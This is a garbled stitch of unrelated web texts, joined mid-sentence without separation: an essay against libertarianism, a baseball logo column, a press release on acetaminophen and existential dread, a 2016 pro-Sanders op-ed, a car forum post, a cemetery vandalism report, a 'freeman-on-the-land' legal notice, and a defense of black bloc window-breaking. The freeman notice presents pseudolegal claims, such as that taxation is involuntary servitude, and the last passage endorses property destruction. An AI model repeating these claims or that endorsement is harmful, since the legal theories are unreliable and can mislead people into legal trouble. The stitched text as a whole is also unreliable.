However, this distinction is functionally meaningless. A starving man at a shop cannot take food because he will be arrested or at least kicked out – he is constrained by another moral actor. The libertarian might reply that property rights helped create that resource, so the starving man is no worse off than he would have been without property rights. The my first response to this is “so what?” It doesn’t change the functional relationship between the starving man and the food, and begs the question of whether we can harness the resource-creating power of property rights to create more just outcomes. Or just let the guy have some food through redistribution.
Taxes are theft! Why do you think you can steal from people?
First, it would be easy to turn the question of wealth creation raised in the last section around on libertarians and ask exactly how the government can be said to ‘steal’ resources that its own actions created. A large amount of innovation has its roots in government research and development, and many of the institution upon which capitalism is built are state-backed. These are the facts; going into unverifiable counterfactuals about how things would be better with ‘less’ government is just speculation. The moral question of whether government should ‘intervene’ is undermined by the fact that it already has.
Even more importantly, the pretax income distribution cannot necessarily be thought of as some amoral ‘baseline’ into which the government ‘intervenes’. The enforcement of property rights, contracts and the prevention of force, fraud and theft does not avoid significant political decisions. For example, implied contracts are an incredibly tricky area of law; so are intellectual and environmental property rights, where the nature of the property itself raises difficult questions. Ownership of some things (votes, people, identities) is generally prohibited, as are certain contracts (slavery, murder-suicide pacts, anything entered into by children/the mentally ill). Political decisions about these issues, and many more like them, will involve value judgments, historical path dependence, and sometimes be somewhat arbitrary. And this will all influence patterns of production, distribution and exchange. There is no neutral ‘baseline’ distribution, and there is no way of keeping politics out of distribution. A similar argument can be made about individual choice.
But if distribution results from voluntary actions, then what is the problem?
There are a few major problems I have with the ‘voluntarist’ perspective:
First, saying that existing actions are ‘voluntary’ takes the existing social structure as a given. I was born in the UK, and I ‘voluntarily’ opted to go to university; if I had been born in certain areas of China, a libertarian would argue that I ‘voluntarily’ consented to working in a sweatshop. But obviously my actions are dependent on the circumstances in which I found myself, and an argument to change those circumstances is independent of whether people’s actions are deemed ‘voluntary’ in any given situation. (This is short of banning things, physically restraining people and so forth).
Second, there is the binary distinction between ‘voluntary’ and ‘coerced’ action, which leads to a lot of problems. Using it, I could argue that nobody in the developed world is really ‘forced’ to obey the law, because they could move country. Obviously it would be silly to say this: one can’t expect people to uproot themselves from their family, friends, location and career, so functionally people do not have much choice about obeying laws. Another example of the limitations of the libertarian line of argument is that one could use it to frame the decision not to obey the law as a ‘voluntary trade off’ between, say, prison and the alternative.
A better way to think of the distinction between voluntary and involuntary action is as a spectrum. We might consider the degree to which someone’s action is voluntary as how much it is influenced by factors outside the persons/objects involved in the immediate decision. Under such criteria, few actions can be considered truly ‘voluntary’; there are always outside influences on decisions, however small or large. At the less significant end of the spectrum we might have travel costs; we might then go through peer pressure, then, for workers, the threat of poverty. We would end up at something like the threat of being killed or tortured. The extent to which actions are voluntary must be considered on a case by case basis; we cannot just make a binary distinction and apply one size fits all based policies on this basis.
The third voluntarist argument I take issue with is the Nozickean justice principle most libertarians implicitly or explicitly respect. It is based on the idea that if voluntary actions led to a situation, that situation must be just. This problem is perhaps best illustrated within one of Robert Nozick’s own thought experiments: the Wilt Chamberlain example (as it goes, this is also a situation where one could accurately describe the agent’s behaviour as purely voluntary). Nozick suggests that if everybody at a basketball game volunteered to pay Wilt Chamberlain a small amount of money, the end result would be |
cousins.
So why the inconsistency? "I've been asked that question before, and unfortunately I don't have an answer for you," says Sharon Arend, director of archives and historical documents for Ilitch Holdings, the Tigers' owner. "As far as I can determine, the two D's matched until the early '60s, but then they split. I can't explain it. It's just one of those things that happened over the years. It's very frustrating -- I wish I could come up with the answer."
The D debuted as a pocket-emblazoned logo in 1904, and even then it wasn't completely uniform. It's slowly evolved over the years, and there have been several versions that are distinct from both of today's renditions. For the most part, though, the D used on the jersey appears to have been relatively constant since the late 1920s, while the cap has seen a veritable alphabet's worth of D's, as seen in these shots from 1938, 1955, and 1965. The team's Cooperstown Collection line of throwback caps also includes this, this, and this.
Things were even more cap-confused (and cap-confusing) from 1994 through 1997, when the Tigers wore this road cap, featuring this logo, clearly based on the jersey D, which meant that the cap and jersey D's matched on the road but not at home, and that the home and road cap D's no longer matched at all. And during the 1970s, there was briefly a third D, which appeared on the team's batting helmets.
Dizzy yet? Try working in the team's front office, where one staffer tells Uni Watch, "Every time we do a poster or a pocket schedule or a mailing, we have to decide -- cap D or jersey D?" Technically speaking, the jersey D is listed as the club's official primary logo, which presumably explains why it appears on this watch, this sweatshirt and this dude's sign. So how come the cap D appears on this sweatshirt, as well as here, here, here and here? And if the jersey D is used at the entrance to Comerica Park, why is the cap D used on the field itself?
At least there's some consistency in terms of headwear, because the cap D also appears on the team's skullcap. So you'd expect the jersey D to appear on the club's outerwear, right? But instead it's the cap D that shows up on the Detroit windbreaker (home, road) and dugout jacket, and on the mock turtle collar, too.
Which D is better? Arend, the archivist, prefers the cap D. "It has a more gothic look to it, and it gives a stronger sense of tradition," she says. But uniform designer and historian Todd Radom, a man with a near-encyclopedic knowledge of sports logos (and who generously provided many of the historical photos accompanying this section), favors the jersey D. "The Tigers' championship clubs -- 1935, '45, '68 and '84 -- are all bound by the identical jersey D," he notes. "End of debate."
As for the source of the discrepancy, it's no doubt rooted in a long-ago change of cap manufacturers (and, Uni Watch is willing to bet, an old, fuzzy Xerox machine), but the paper trail no longer exists, so we'll never know for sure. In any case, the Tigers aren't the only team with a logo identity crisis. The Yankees' famed NY insignia, for example, is actually a family of logos, not just one. Compare the upper strokes of the Y on the cap to the Y on the jersey. Then compare where the N and Y intersect on the jersey to where they meet on the batting helmet. Once you start looking, you'll find lots of teams' logo programs are plagued by these little bugs, although none of them is quite as glaring as the Tigers'.
The most surprising thing about these small glitches is that the MLB bigwigs have allowed them to persist. In an era when the branding tail so often wags the uniform dog, Uni Watch finds it rather charming that these minor imperfections haven't been bulldozed into streamlined conformity by the corporate marketing machine.
Still, charm has its limits. It might be nice, for example, if the Tigers could at least settle on which D to show on their home page, which was recently observed trying to have it both ways.
The Cardinals, incidentally, have had some subtle logo variations of their own over the years. The major evolutionary phases of the team's "birds on the bat" jersey insignia are easy enough to chart through the 1920s, '30s and '40s. The tricky period begins in 1957, when the team adopted this design -- very similar to what the Cardinals continue to wear now.
Take a close look and note that the bird on the left's tail feathers hang in front of the bat, while the bird on the right's tail extends behind the bat. This design remained fairly constant through the 1960s, '70s, '80s and mid-1990s. But the team pulled an ornithological switcheroo in 1998, putting the left bird's tail behind the bat and the right bird's tail in front, a format still used today. Look back at old photos and you'll find that this design also made some appearances in the '60s and '70s, an inexplicable inconsistency that makes Uni Watch's head hurt.
And wait, there's more: Up until 1997, the birds' beaks and legs were both yellow. But when the tail feathers were reversed in 1998, the legs became black and the beaks turned red. This was tweaked again in 1999, when the beaks reverted to yellow but the legs remained black, which is the design still used today.
Whichever way the tail feathers are hanging, the Redbirds have one huge logo advantage over the Tigers: They're the only remaining MLB team whose jersey insignia is chain-stitched directly onto the garment, an old-school technique that adds a gorgeous textured effect to the embroidery, even when viewed in a black-and-white photo. (Some may nitpick that the Astros and Phillies also chain-stitch their insignias, but Uni Watch counter-nitpicks that those teams' logos are embroidered onto a patch that's then sewn onto the jersey, while the Cards are the only team that does the embroidery directly on the jersey itself.)
As for the World Series outcome, Uni Watch foresees a logo something like this.
Paul Lukas was happy to see the Mets wearing blue caps, sleeves and socks in Games 6 and 7 of the NLCS (especially since he's the one behind this campaign). His Uni Watch blog, which is updated daily, is here, his answers to Frequently Asked Questions are here, and archives of his columns are available here, here and here. Got feedback for him, or want to be added to his mailing list so you'll always know when a new column has been posted? Contact him here.Thinking about death can cause us to feel a sort of existential angst that isn’t attributable to a specific source. Now, new research suggests that acetaminophen, an over-the-counter pain medication, may help to reduce this existential pain.
The research is published in Psychological Science, a journal of the Association for Psychological Science.
According to lead researcher Daniel Randles and colleagues at the University of British Columbia in Canada, the new findings suggest that Tylenol may have more profound psychological effects than previously thought:
“Pain extends beyond tissue damage and hurt feelings, and includes the distress and existential angst we feel when we’re uncertain or have just experienced something surreal. Regardless of the kind of pain, taking Tylenol seems to inhibit the brain signal that says something is wrong.”
Randles and colleagues knew from previous research that when the richness, order, and meaning in life is threatened — with thoughts of death, for instance — people tend to reassert their basic values as a coping mechanism.
The researchers also knew that both physical and social pain — like bumping your head or being ostracized from friends — can be alleviated with acetaminophen. Randles and colleagues speculated that the existentialist suffering we face with thoughts of death might involve similar brain processes. If so, they asked, would it be possible to reduce that suffering with a simple pain medicine?
The researchers had participants take either Tylenol brand acetaminophen or a sugar pill placebo in a double-blind study. One group of participants was asked to write about what would happen to their body after they die, and the control group was asked to write about having dental pain, an unpleasant but not existentially distressing thought.
All the participants were then asked to read an arrest report about a prostitute, and to set the amount for bail.
Just as expected, the control group that wrote about dental pain — who weren’t made to feel an existentialist threat — gave relatively low bail amounts, only about $300. They didn’t feel the need to assert their values.
On the other hand, the participants who wrote about their own death and were given a sugar pill gave over $400 for bail, in line with previous studies. They responded to the threat on life’s meaning and order by affirming their basic values, perhaps as a coping mechanism.
But, the participants in this group who took Tylenol were not nearly as harsh in setting bail. These results suggest that their existential suffering was ‘treated’ by the headache drug.
A second study confirmed these results using video clips. People who watched a surreal video by director David Lynch and took the sugar pill judged a group of rioters following a hockey game most harshly, while those who watched the video and took Tylenol were more lenient.
The study demonstrates that existentialist dread is not limited to thinking about death, but might generalize to any scenario that is confusing or surprising — such as an unsettling movie.
“We’re still taken aback that we’ve found that a drug used primarily to alleviate headaches can also make people numb to the worry of thinking about their deaths, or to the uneasiness of watching a surrealist film,” says Randles.
The researchers believe that these studies may have implications for clinical interventions down the road.
“For people who suffer from chronic anxiety, or are overly sensitive to uncertainty, this work may shed some light on what is happening and how their symptoms could be reduced,” Randles concludes.
###
In addition to Randles, co-authors on this research include Steven Heine and Nathan Santos of the University of British Columbia.
This research was supported by a grant and doctoral fellowship from the Social Sciences and Humanities Research Council.
For more information about this study, please contact: Daniel Randles at [email protected] and Steven Heine at [email protected] Poky Little Puppy is a beloved story for children about why we shouldn’t reward dogs who act unethically with dessert. The Poky Little Primary is a true story about how we can’t reward two-party-system politicians acting unethically by allowing them the Presidency.
I think the first question I’ll ask when meeting someone new from now on will be, “do you now or have you ever supported Hillary Clinton for the Presidency?” Be it before accepting a job for a new employer, on a first date, when a pretty lady buys me a drink at a bar or even potentially making a new friend, I will want to make sure that we share the same values and judgment before moving forward. Being a current or former Hillary supporter is a non-starter for me. That’s where I’m at.
I joked about that in 2008. I’m dead serious about it in 2016. I’m likely risking my reputation, personal brand, music sales, and several personal relationships on fighting against allowing Hillary Clinton to ever again trade government influence to build her personal wealth. It is that important and thus worth it. I just can’t sit idly by and let the most corrupt political dynasty in American history rise to power yet again. If someone didn’t have the foresight to research that for themselves or simply didn’t care because she was a woman or had a “D” next to her name, I’m pretty sure that’s not somebody I want to partner with for even a round of golf, let alone anything more substantial.
I feel similar about Donald Trump. I’m a small bit more forgiving of the low information voters on his side, though. I blame CNN, MSNBC, FOX News, ABC, CBS and the like for Trump. I strongly believe that if at any point in the last year those networks would have focused on issues and not celebrity, a good chunk of Trump supporters would be backing Bernie Sanders. I don’t forgive the Clinton supporters. They had access to the same information I did. The Clinton dynasty of war, corruption and unethical campaign finance is well documented. Of course, millions of Republicans figured out Trump was an idiot on their own, so maybe it’s more level a playground than I give credit.
I’ve spoken with hundreds of Republicans in the last year who will not support Trump. You’ve heard about those folks on your televisions though. I’ve spoken with even more Democrats who will not support Hillary Clinton. TV rarely covers that. I have had much more civilized conversations with Republicans against Trump than the Hillary supporters in my own party all year, too. I still maintain that Trump and Hillary supporters are bullies.
Republicans, Democrats, and Independents alike have been failed by the predominant two-party-system. That common-place alone should be enough for us to move forward together.
When Hillary Clinton finally announced last year that she was running for President, many political scientists started projecting that if just one out of every 10 Democrats refused to vote for her, based on her likability numbers, she would lose a General election. Her likability numbers are even worse now, and exit polls show three in 10 Democrats will never vote for her.
The Democratic Party moved goal posts to keep Professor Larry Lessig out of the debates in hopes of squelching conversation of campaign finance reform, one of Hillary’s (and the party’s) biggest weaknesses. Yet the anti-corruption crowd just coalesced around Bernie Sanders instead, who refused to take part in shady funding reindeer games. The Democratic Party has tried all sorts of shenanigans against him since. However, no candidate will go to the Democratic National Convention with enough delegates for the nomination and Bernie has vowed to fight corruption until the very end. His supporters wish he’d go further, and file for an independent candidacy before deadlines this coming week.
With Cruz and Kasich both dropping out of the race on the GOP side after the Indiana primary, our failed two-party system nomination process is at an interesting crossroad. Bearing a miracle, Trump is the GOP nominee.
Donald Trump and Hillary Clinton are two of the most disliked people to ever run for President. Nobody with likability numbers as low as theirs has ever been elected to the Presidency. However, if they’re the only choices, I suppose it’s a done deal. Thankfully, it’s not a done deal.
We still have a choice. That choice is Bernie Sanders. When polled on the issues, independent of candidate names or party affiliation, a vast majority of Americans agree on issues of campaign finance reform, trade deals, corporate welfare, free and open internet, privacy rights, our right to an education, healthcare, and so very much more. On issues alone, party affiliation means nothing. The people stand together. It’s time we stand together. With Trump and Clinton, we’ve officially entered a new era of American politics: it’s no longer red versus blue. It’s people versus the establishment, and it’s time we team up to fight crime. We can be our own heroes.
If you are someone, or know someone, who is a Republican that can’t find it in your hearts to support Donald Trump, I invite you to identify the issues we can work together on. Team up with those of us on the left who can not support Hillary Clinton. Let’s identify the anti-corruption and reform issues we agree on and start there. Bernie is the only candidate with us on those issues. You can fight him on the stuff you don’t agree with after he’s elected. That’s safer than the battles we face against Trump or Clinton administrations. I don’t agree with Bernie on everything, but I’m all in for him. I have been since he announced. If we don’t fix the corruption in our government now, we’ll never fix anything else ever again.
There is no longer a professional wrestling mentality for American politics. It is no longer our side against their side. Right, left, independents and more: we have to join together outside of the confines of the two-party system imprisoning Democracy.
If you’re like me and can find no bit of your conscience that will allow you to vote for either the corrupt Hillary Clinton or the buffoon Donald Trump, no matter our differences on a few of the issues or in party affiliation, we must band together and elect Bernie Sanders. This is still possible, and I would like to propose to you how, together, we can make it happen.
First up, there are still plenty of States yet to primary. If you’re a Republican in those States, who agrees with me, look into voting in the Democratic primary for Bernie. There’s still time to switch registration to Independent or Democrat just to do that in some states. Swallow your pride and serve your country in this way. If you are a Democrat or Independent supporting Bernie or considering doing so, I trust you’ve already looked into how to primary for him. If not, please stop reading this and go do so.
Even if you cannot vote for Bernie, you can be a Republican who phone banks, canvasses and donates to Bernie. I’ve spoken with hundreds of Republicans over the last year doing this. You won’t be alone. I promise you that. Democrats and Independents, you don’t get a free pass here either. We need you to stand up against oligarchy and for our Democracy. Our future depends on all of us pitching in.
If we turn out the vote, even with DNC dirty tricks and election rigging, Bernie could potentially be ahead by a handful of pledged delegates by the Democratic National Convention. If that is the case, his electability argument to defeating Trump is in play, and it is a reasonable argument. However, I don’t believe the Democratic Party to any longer be reasonable. I believe they would rather suckle at the bosom of special interest than open up their tent to a new generation of voters, activists and independents. If there’s one lesson we’ve learned in the 2016 process, it is that the establishment, from the political parties to the media, will do anything to squelch the demands of the people.
However, what if during the Philadelphia Democratic National Convention there were millions of protesters on the streets outside the convention center demanding Bernie? What if there were so many people in the streets of Philly that traffic stopped, and they couldn’t be ignored by CNN and MSNBC just because of public safety? If there were so many people in the streets of Philadelphia that week that the demands from the people for Bernie had to be heard, the party would have to respond. And those super delegates that will decide the contest? I doubt we’ll sway the appointed lobbyists DNC chair Debbie Wasserman Schultz has snuggled up with, but those who hold elected office will certainly have to reconsider.
Bernie has said time and time again that if millions of people stand up together and demand change, it will have to be delivered. There is no better time to test his theory than the 2016 Democratic National Convention in Philadelphia this summer.
We’ve tried talking to these people respectfully. It’s time to stoop to their childish level. Let’s throw a tantrum and take Philadelphia by storm. We must demand our story be told. We can’t let the poky little primary politicians be rewarded for failing us.
I’ve previously penned and podcasted about what I believe the movement should start doing now to be moving forward towards real political change, with or without Bernie Sanders. I still believe that with all of my heart, and appreciate the input some of you have offered in that discussion so very much. Today, however, I’m talking not about the movement, but about our candidate. I for one am willing to fight through November for him.
Should we fail in Philadelphia and assuming Bernie Sanders will not file the necessary paperwork to run independent, we will be left with only a write-in option. In seven states, that’s not even an option. If you’re in those States, I challenge you start petitioning right now, stop reading, and go get him on the ballot. Over 30 States make candidates file paperwork to accept their write-in votes. If we show the momentum, I’m certain the Sanders team would do that simple paperwork. I for one, will be writing in Bernie Sanders no matter what happens at the Democratic Convention.
If you plan on voting for Clinton or Trump, or already have, I don’t share values or priorities with you. If you can’t vote for either, even if we don’t agree on all of the issues, I’m happy to work with you. Let’s get to work. See you in Philly.
Michael SalamoneLots of question fellas,I love this bad girl... omfg she is precious!But (and please don't hesitate to navigate me if my questions are already answered) there's a lot that I need to work on for her to be in top shape and pleasantly customized!1) RF radio is rather old, I'd like to know if android radios from auto pumpkin are the way to go!link here: http://www.autopumpkin.com/car-dvd-p...2007-2012.html 2) I want to keep this for a VERY long time. I am young and I can allow myself to invest in this car. right now it's at +/- 122k and I want to change the engine when I hit 250-300kThe 4B11T from EVO 2012 with the turbo seems to fit, should I go for it or look for a different engine?3) Is it worth the hassle to invest in sports spare parts? ie suspension and brakes?4) to what extent can I modify my car so that it stays legal on the streets? Mind you, I don't want to modify the exterior, no body kits or whatever, just under the hood! She can purr like a good little kitty, but can she roar?5) Working on the clutch! and the gears, when should they be changed?6) Maintenance on the engine? I've changed the spark plugs, the battery, the timing belt and the battery. What else do I need to save up for? She tastes nothing but synthetic and 91 Octane Gas7) is it worth to get a turbo?Any and All advice is welcome!She's an '08 Lancer GTSWHITMAN – Jayne Badore lost her mother in 2012 and her father a decade earlier. Both are buried together, along with Badore’s grandparents, at Colebrook Cemetery off Essex Street.
On Sunday, Badore was among dozens of local residents who were outraged after learning that vandals had knocked over the gravestones of their late loved ones.
A total of 67 gravestones were knocked over and damaged over the weekend, resulting in thousands of dollars in damages, police said.
“It’s a sick feeling,” Badore cried Sunday afternoon while standing in the cemetery with her family, looking at the rows of toppled gravestones, as she and others tried to make sense of the vandalism. She embraced her family members, who were seen crying near the damaged gravestones.
“It’s just a horribly sad feeling,” Badore said. “ I just hope they can find these people (who are responsible) and make them come here and fix everything. To see what they’ve done to the family members, to see this, how would they feel? There’s just so much love tossed over here.”
The town's police union is offering a $500 reward for any information leading to the arrest of the person or persons responsible for the vandalism, Police Chief Scott Benton announced on Facebook Monday morning.
Benton urged anyone with information on the case to call Whitman police at 781-447-1212, or the department's anonymous tip line: 781-447-9696.
Benton decried the vandalism on Sunday, calling it “infuriating.”
“It’s desecration of people’s final resting places,” Benton said. “It’s certainly disheartening and infuriating.”
Police responded to the cemetery at 45 Essex St. after receiving a call at 11:06 a.m. Sunday from someone visiting the cemetery who discovered the damaged gravestones. The BCI unit of the Plymouth County Sheriff’s department responded to photograph the damage.
Police are reviewing surveillance video from a nearby building as part of their investigation. Benton said he suspects more than one person was involved in the vandalism.
“We’ll catch a break and we’ll be able to solve this. We’re not going to stop working on this,” Benton said.
Among the damaged gravestones is that of the family of Army 1st Lt. John R. Fox, who posthumously received the Medal of Honor in 1997 for his heroic actions during World War II.
Fox was 26 when he was killed in action on Dec. 26, 1944, in the village of Sommocolonia, in northern Italy. With German soldiers outnumbering the Americans 6-1, Fox called in an artillery strike on his own position as the Americans were being swarmed by the Germans. This act of self-sacrifice, which killed him and numerous Germans, allowed Allied forces time to mount a counterattack and reclaim their position.
Fox was among seven black soldiers from World War II awarded the Medal of Honor in 1997 by President Bill Clinton. His widow, Arlene Marrow, a former Brockton resident now living in Texas, accepted the medal during a White House ceremony.
Police said Fox's grave marker, which is set flush to the ground, was not damaged. But the gravestone marking his family's plot was knocked over.
Reached by The Enterprise in Texas on Sunday, Fox’s daughter, Sandra Fox, called the damage to her family’s gravestone “disturbing.”
“We live in a society where nobody seems to have any pride, honor, respect,” said Sandra Fox, 72, a Texas resident who grew up in Brockton.
Buried at her family's plot at Colebrook Cemetery are her late father, grandparents, and aunt and uncle, Sandra Fox said.
Eugene Marrow of Brockton, Fox’s cousin through marriage, called the vandalism “devastating.”
“He was a decorated war veteran. It’s devastating,” said Marrow, 75, who was Brockton’s first black principal at Brockton High School, retiring from 43 years as a Brockton educator in 2005.
Joe Wilson of Whitman went to the cemetery on Sunday after learning about the vandalism on Facebook. Vandals broke the gravestone of his wife's grandmother off of its base, Wilson said.
"We're upset. Everyone here is upset," Wilson, 41, said.
John Burnett, superintendent of Colebrook Cemetery in Whitman, estimated damages to be greater than $20,000. That includes damaged gravestones dating back to the 1800s.
“It’s a disgrace what these people did,” Burnett said. “Whoever did it, it’s beyond a disgrace.”
Maria Papadopoulos may be reached at [email protected] or follow on Twitter @MariaP_ENT.AND THE NOTICE:
I have MY notice of understanding and intent and cover letter which I served on the government people. The cover letter is as follows:_____________________________________________________________________________________________________Cover LetterDate:________WITHOUT PREJUDICETo:George Bush - the man acting as President of THE UNITED STATES OF AMERICA,Michael Mukasey - the man acting as attorney general THE UNITED STATES OF AMERICA,Kevin Martin â the man acting as chairman of the Federal Communications Commission,Deval Patrick - the man acting as Governor of THE COMMONWEALTH OF MASSACHUSETTS,Martha Coakley - the woman acting as attorney general for THE COMMONWEALTH OFMASSACHUSETTS, andTo whom it may concern.Dear people,I hope this letter and the accompanying notice finds you well and leaves you better. You willfind attached one Notice of Understanding and Intent which contains 10 pages in addition to this coverletter which contains 2 pages (this and another). I have crafted this Notice of Understanding and Intentfor the purpose of avoiding future conflicts when I begin exercising the rights claimed therein. It is mydesire and intent to live freely, peacefully, and within community standards, and do so in an orderly andhonorable manor, but without license, permission, restrictions or governance from your organizations, Iam not âanti-governmentâ nor do I advocate lawless behavior, much to the contrary I wish to provethrough my actions that good, orderly, reasonable behavior need not be mandated to exist. I thinkgovernment has it's place in remedying conflict, and regulating those who wish to operate in limitedliability. I wish to operate in full liability and without government interference. I do not wish to be aâthorn in your sideâ I intend to fulfill my duties to protect the freedom of speech by improving theInternet and to use innovation, and creativity to make Massachusetts, The United States, and the worldat large a nicer place to live, needless to say if you are not bothering me I will have no time to botheryou.If you are bureaucratic in nature, these ideas may come as a bit of a surprise, but I think thatwith some observation, you will find that all of the creative energy which shapes our world comes frompeople who choose to act differently from their neighbors, and everyone who hasn't read all of thebodies-of-words which may have authority over them, lives in fear of being tried for violatingsomething which they don't understand, and only does things which have already been done and provenâsafeâ with the government. Thus the creativity of the people and the productivity of a country can besubverted by it's government holding the people accountable for too much âlawâ.Before literacy was widespread, law was written down but the few who could read couldinterpret it however they pleased or even make it up when telling the law to the illiterate. Literacy is aprised skill here because we understand that without being able to read we are at the mercy of thosewho can. Neither I, nor anyone I know, nor even anyone I have heard about, has read every word in thelaw library. Are we returning to the age when the majority is subjugated by the minority whounderstands the law?Regardless of the overall trends, I have made a good-faith effort to read, and understand everylaw which may pertain to me, and have found this task to be beyond my abilities. I could not even finda map of which law applies to who. I found deceptive language in the form of words which looked likethey meant one thing in context, but upon looking them up in a law dictionary I found they actuallymeant something different. I found numerous references such as âhas as much authority as aâ whichrequires anyone who wants to understand the law to constantly need to ask more questions, amountingto ârabbit trailsâ of paperwork to follow in order to gain any meaningful insight. I found the words inthe law library to be vague, easily to construe in many different ways. I have an understanding ofcomputers, and software, and it is my understanding if the papers in the law library were software, takeas a whole it would cause a system crash If somebody purposely wrote vague statutes in order that theywould have multiple meanings, one or more of which would lead a reasonable person to violate theconstitution of Massachusetts or that of The United States of America if acting as a public servant, thensomebody has committed fraud.Whether or not fraud was committed, I cannot read, understand, or in good faith try to follow allof the statutes, regulations, orders, and other words which have been written without my consent.The remedy I have found is to make known to the world my understanding and intent, andclaim the rights which I believe to be mine. Any who disagree have an opportunity to discuss andnegotiate, but those who silently wait out their opportunity then take legal action once I beginexercising my rights are acting like predators, lying in wait and maximizing conflict, and they aredishonoring my notice and dishonoring a main pillar of the Rule of Law which states that conflict isavoidable and undesirable.I hope this letter causes you to think deeply and I hope you understand that your authoritydepends on the moral high ground, for your own credibility, and that of your government as a whole. Ifyou take your legal-system which is designed to destroy the lives of those who make their living doinginjury upon others, and use it to steamroll a peaceful articulate man like myself, your credibility will besignificantly diminished. If you seek out peaceful claimers of rights, and persecute them, you willcreate a political movement and freedom should only be for those mature enough to acceptresponsibilities. However by agreeing to coexist peacefully, you may preserve your authority, and colorof authority for a long time to come.In closing I bid you fare well and wish you the best in your endeavors.without ill will, malice aforethought, frivolity or vexation, butwith the intent of avoiding future conflicts or disputes by stating clearly my understanding andintentions and by claiming my rights before exercising them.___________________________________________Freeman-on-the-land Caleb James DeLisleTMPS.What is a Freeman-on-the-land? A Freeman-on-the-land is a flesh and blood man and one of thepeople, who operates in with full responsibility, and has not given or has lawfully revoked consent tobe represented or governed, and in any common law jurisdiction a Freeman-on-the-land exists free ofany statutory restrictions, obligations, and limitations.Caleb James DeLisleTMAffidavit and Notice of Understanding and Intent andClaim of RightI Caleb James of the family DeLisle, a flesh and blood man and one of âthe peopleâ as described in theUS Constitution and Massachusetts Constitution, with the intent of avoiding conflict, do hereby makeOath and state the following is My Truth and My Law:Whereas it is my understanding equity before law is paramount and mandatory, and,Whereas it is my understanding the Rule of Law says conflict is avoidable and undesirable, and,Whereas it is my understanding I am not owned by any outside entity, nor am I a child or ward and Iam of sane mind, sound judgment, and am capable of administrating my own affairs, and I have nooutstanding debts or obligations, and,Whereas it is my understanding the United States of America, as well as all 50 US states withexception of Louisiana, are common law jurisdictions, and,Whereas it is my understanding the United States congress shall make no law abridging the freedom ofspeech and of the press, and,Whereas it is my understanding any law which abridges these fundamental freedoms is void ab initio,and,Whereas it is my understanding no lawful statute, Act, or resolution of the US Congress will everabridge the right of âthe peopleâ to peaceably assemble, or petition their government for redress ofgrievances, and,Whereas it is my understanding no lawful government inside of the United States of America will everviolate the right of âthe peopleâ to be secure in their persons, houses, papers, and effects, againstunreasonable searches and seizures, and,Whereas it is my understanding in the above clause, unreasonable means not having a lawful warrant,and,Whereas it is my understanding no lawful warrants will ever issue, but upon probable cause, supportedby oath or affirmation, and particularly describing the place to be searched, and the persons or things tobe seized, and,Whereas it is my understanding no lawful warrants will ever issue, based upon information gathered inan unreasonable search and/or seizure, and,Whereas it is my understanding Neither slavery nor involuntary servitude, except as a punishment forcrime whereof the party shall have been duly convicted, shall exist within the United States, or anyplace subject to their jurisdiction, and,Whereas it is my understanding servitude is any labor which is done for want of reward or fear ofreprisal, from an outside entity, this does not necessitate any benefit to the said outside entity as a resultof the labor, and,Whereas it is my understanding legal tender or any thing of value is a representation of labor, and,Whereas it is my understanding any demand for legal tender or any thing of value is equivalent to ademand for servitude, and,Whereas it is my understanding taxation or fines without consent is involuntary servitude, and,Whereas it is my understanding reading or filling out forms or answering questions or anything elsewhich one may pay another to do for him qualifies as labor, and,Whereas it is my understanding The privilege of the writ of habeas corpus shall not be suspended,unless when in cases of rebellion or invasion, the public safety may require it, and,Whereas it is my understanding In all criminal prosecutions, the accused shall enjoy the right to aspeedy and public trial, by an impartial jury of the state and district wherein the crime shall have beencommitted, which district shall have been previously ascertained by law, and to be informed of thenature and cause of the accusation; to be confronted with the witnesses against him; to havecompulsory process for obtaining witnesses in his favor, and to have the assistance of counsel for hisdefense, and,Whereas it is my understanding given the state of technology any court must allow video and audiorecording of proceedings by any interested parties for any lawful purpose in order for the trials heldwithin to be public, and,Whereas it is my understanding no lawful court claiming authority based on the US Constitution or theconstitutions of any of the 50 US states, lacks a randomly selected jury of no less than 12 peers of theaccused, or disallows the accused the to speak before the court and obtain and question witnesses, ordoes not allot the time the accused requires to speak before the court and obtain and questionwitnesses, or does not suspend the case in the event that an interested party claims that the judge is inviolation of the judge's oath of office, and,Whereas it is my understanding judicial immunity does not protect judges from claims that they haveviolated their oath of office because immunity from the oath which they take to get the immunitywould make the oath unenforceable and meaningless, and the immunity which stems from itmeaningless as well, and,Whereas it is my understanding the US Constitution claims that only unlawful activity will everinfringe on the rights, abridge the freedoms, or revoke the privileges guaranteed therein, and,Whereas it is my understanding any public servant who takes an oath to support and defend the aconstitution or other body-of-words, |
, is never brought up or denounced by the same activists who denounce or chastise the black bloc. Voluntary bad-jacketing done by activists is far more damaging to social movements overall than any actual police infiltration at any particular demonstration.
While any particular black bloc may be infiltrated by police for any number of police purposes, open activist groups are susceptible to long-term infiltration, in which police can attain positions of authority within the organization, as happened a few years ago to an anti-war group in California or for instance to the American Indian Movement, whose head of security was exposed as a Federal Bureau of Investigations (FBI) infiltrator in the 1970s.
While the particular statements of black bloc participants or its supporters around what constitutes violence or the corporate media’s predictable response and impact are open to criticism, as are particular actions of the black bloc (just as everything is open to criticism), such as vandalism against random vehicles or newspaper boxes, such critiques cannot logically be over generalized and made into guilt-by-association arguments against the black bloc itself or its other actions.
Contrary to Loewen’s statement, blocking traffic and breaking windows does directly harm corporations and is not merely symbolic. It’s not the amount of traffic disrupted or the amount of financial damage that makes an attack or action material rather than just symbolic. It is the nature of the action itself and the intentions and the strategy behind it. An action is only purely symbolic if it is intended as such. Corporations are also unlikely to make an insurance claim for broken windows given the deductible and the negative impact it would have on their insurance overall, and at any rate the cost would simply be passed on to an insurance corporation if they did. Nothing is without consequence.
Broken windows also have an impact beyond the window itself, since they must be repaired and their function of advertising displays in this case is disrupted, as is the image of the Hudson’s Bay Company itself. The action also inspires others opposed to the company and draws more attention in general to it and its contentious place in society. An open attack shows open hostility to the company itself, not merely an opposition to particular things it does or a desire to reform its excesses.
The meaning of these kinds of actions are obviously not only the domain of the corporate media but are also ours to define and communicate in whatever ways and places we choose, as this article itself displays, as do the many other statements in support of the black bloc of that day.
To end with I’ve provided a transcription of part of a speech made by indigenous elder Stella August of the Downtown Eastside Power of Women group addressed to the crowd at the February 20 rally for a national housing program in Vancouver where she talks about the black bloc at the Heart Attack demo and received cheers and applause from the crowd:
